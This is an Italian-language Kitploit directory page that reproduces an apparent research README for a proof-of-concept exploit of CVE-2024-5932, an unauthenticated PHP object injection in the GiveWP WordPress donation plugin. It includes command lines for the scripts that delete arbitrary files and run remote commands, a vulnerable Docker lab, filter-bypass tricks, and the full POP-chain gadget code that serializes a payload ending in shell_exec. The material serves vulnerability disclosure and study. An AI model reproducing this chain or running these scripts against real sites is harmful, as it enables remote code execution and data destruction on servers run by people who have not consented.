Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-5932 — Proof-of-concept exploit per CVE-2024-5932, una vulnerabilità di injection di oggetti PHP nel plugin WordPress GiveWP, che consente l'esecuzione remota di codice non autenticata e l'eliminazione arbitraria di file tramite una catena POP. | Kitploit
Strumenti/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHub
nishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Proof-of-concept exploit per CVE-2024-5932, una vulnerabilità di injection di oggetti PHP nel plugin WordPress GiveWP, che consente l'esecuzione remota di codice non autenticata e l'eliminazione arbitraria di file tramite una catena POP.

Vedi Repository
44 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Questo post è un articolo di ricerca pubblicato da [EQSTLab](https://github.com/EQSTLab).


## ❗❗ IMPORTANTE ❗❗ 
**Attualmente ci sono repository GitHub PoC falsi che eseguono xmrig. Controlla il link qui sotto per maggiori informazioni**:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841



# CVE-2024-5932
★ CVE-2024-5932 Eliminazione arbitraria di file e PoC RCE ★




https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7



## Cronologia
**25 Ago** : Caricato il PoC di eliminazione file per CVE-2024-5932

**26 Ago** : Abbiamo eseguito con successo comandi arbitrari utilizzando CVE-2024-5932, ma stiamo valutando la divulgazione a causa dell'impatto.


**27 Ago** : Abbiamo trovato un'analisi dettagliata del PoC in un [post](https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/) di Julien Ahrens di RCE Security e abbiamo deciso di pubblicare il nostro PoC RCE. Abbiamo caricato un ulteriore PoC RCE come **CVE-2024-5932-rce.py**.


## Descrizione
CVE-2024-5932 : vulnerabilità di PHP Object Injection in GiveWP
description: Il plugin GiveWP  Donation Plugin and Fundraising Platform per WordPress è vulnerabile alla PHP Object Injection in tutte le versioni fino alla 3.14.1 inclusa, tramite deserializzazione di input non attendibili provenienti dal parametro 'give_title'. Ciò consente ad attaccanti non autenticati di iniettare un PHP Object. La presenza aggiuntiva di una catena POP consente agli attaccanti di eseguire codice in remoto e di eliminare file arbitrari.

## Come usare

### Git clone
```
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
```
### Installare i pacchetti
```sh
pip install -r requirements.txt
```
### Comando
```sh
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
```

### Esempio
```sh
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
```

### Output
**CVE-2024-5932.py**
![0](https://assets.kitploit.com/production/public/readmes/29982/6dde0e16e0322d97b2ba376d60e87666281aa67a578b866cee21cde122adad9f.png)


**CVE-2024-5932-rce.py**
![1](https://assets.kitploit.com/production/public/readmes/29982/9fa60e0184e59e436ba7bb1f49b78949e7684161b1e19e4be75f94261756d175.png)



### Risultato
![image](https://assets.kitploit.com/production/public/readmes/29982/4ffabf3c36ea977c7b240d0f6f8d46b9f752917e00e688b4c6d0ce51440a4287.png)
![2](https://assets.kitploit.com/production/public/readmes/29982/5ea8a2babfa60fe43b63faab927f1fc0d220eaeeae930fa67f84bcea82ebb200.png)

## Ambiente vulnerabile
### 1. docker-compose.yml
```sh
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:
```

### 2. Poi scarica il plugin GiveWP vulnerabile:
https://downloads.wordpress.org/plugin/give.3.14.1.zip

### 3. Decomprimi il file zip del plugin GiveWP e copia l'intero file nella directory “/var/www/html/wp-content/plugins”.
```sh
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
```

### 4. Attiva il plugin GiveWP
![image](https://assets.kitploit.com/production/public/readmes/29982/1e9fb321ce24fecc34fcba4cec92b2c0c14ff7557c16418e643550c37a271b83.png)

### 5. Aggiungi un nuovo post con il plugin GiveWP e copia il link del post
![image](https://assets.kitploit.com/production/public/readmes/29982/0b8d941087d07631b69287f55b825f015e72cd50b21d89112248059c5c8e61ba.png)

### 6. Controlla il link vulnerabile
![image](https://assets.kitploit.com/production/public/readmes/29982/81c96c4b6e046bab4edaa45bf7ae7a9f579ae9ccbfa08f7dd5202b52cd296030.png)


### (Opzione) Configura il file di destinazione nell'ambiente Docker
Per prima cosa, accedi alla shell di WordPress con il seguente comando:
```sh
docker exec -it -u root docker-wordpress-1 /bin/bash
```

Se il file è di proprietà di root, potrebbe non essere eliminato a causa dei permessi. Pertanto, devi modificare la proprietà del file di test con il seguente comando:
```sh
touch test && chown www-data test
```
![image](https://assets.kitploit.com/production/public/readmes/29982/196aa19e666f5c74ac1ac07dabbbedb6fa3946ce168d9697087baaedc4b07917.png)


## Debug tramite PHPSTORM
Puoi eseguire il debug del tuo GiveWP usando PHPSTORM.

### 1. Scarica xdebug nel tuo WordPress (Docker):
```sh
pecl install xdebug
```

### 2. Quindi configura il file php.ini di WordPress in questo modo (Docker):
```sh
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
```
..E quindi puoi eseguire il debug del tuo WordPress.

### 3. Configura PHPSTORM in questo modo (Locale):
![image](https://assets.kitploit.com/production/public/readmes/29982/fd7621897eb5440d4994a317b6bcbb86ef0ce328683fee20826ef2a1806c6802.png)
![image](https://assets.kitploit.com/production/public/readmes/29982/5d30ad5a4dd3f8e384c470f9aa18453d952f763e56f182ff745241ba53b9e803.png)

### 4. Esempio PHPSTORM (es. eliminazione arbitraria di file tramite TCPDF)
![image](https://assets.kitploit.com/production/public/readmes/29982/aa5c32ee3ec7166fc10d56ff7713b85740406b87f524acb2b308337ed140a142.png)


# Analisi
## Punto vulnerabile (includes/payments/class-give-payment.php)
A questo punto, la funzione get_meta() deserializza il valore "give_title" precedentemente salvato.
```sh
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...
```

## Tecnica di bypass
strip_tags: sostituisci i byte nulli -> usando \0

stripslashes_deep: sostituisci le barre rovesciate -> usando \\\\\\\\

##  Concatenazione POP per RCE
Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1')  (Restituisce la stringa di comando)

call_user_func('shell_exec', 'command')



PoC.php
```sh
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}
```


# Scenario di attacco
## RCE tramite catena POP
La catena POP consente l'esecuzione remota di comandi.
![image](https://assets.kitploit.com/production/public/readmes/29982/d3497cc1a40b75306ba74b4de0ad4f6563fdcece08bc39f63786f354fcac297c.png)

## Eliminazione arbitraria di file
Usando TCPDF, puoi sfruttare l'eliminazione arbitraria di file.

# Esclusione di responsabilità
Questo repository non è inteso come exploit di Object Injection per CVE-2024-5932. Lo scopo di questo progetto è aiutare le persone a imparare a conoscere questa vulnerabilità e, magari, testare le proprie applicazioni.

# EQST Insight
Pubbliciamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni.
https://www.skshieldus.com/eng/business/insight.do

# Riferimenti
https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#
Scarica lo strumento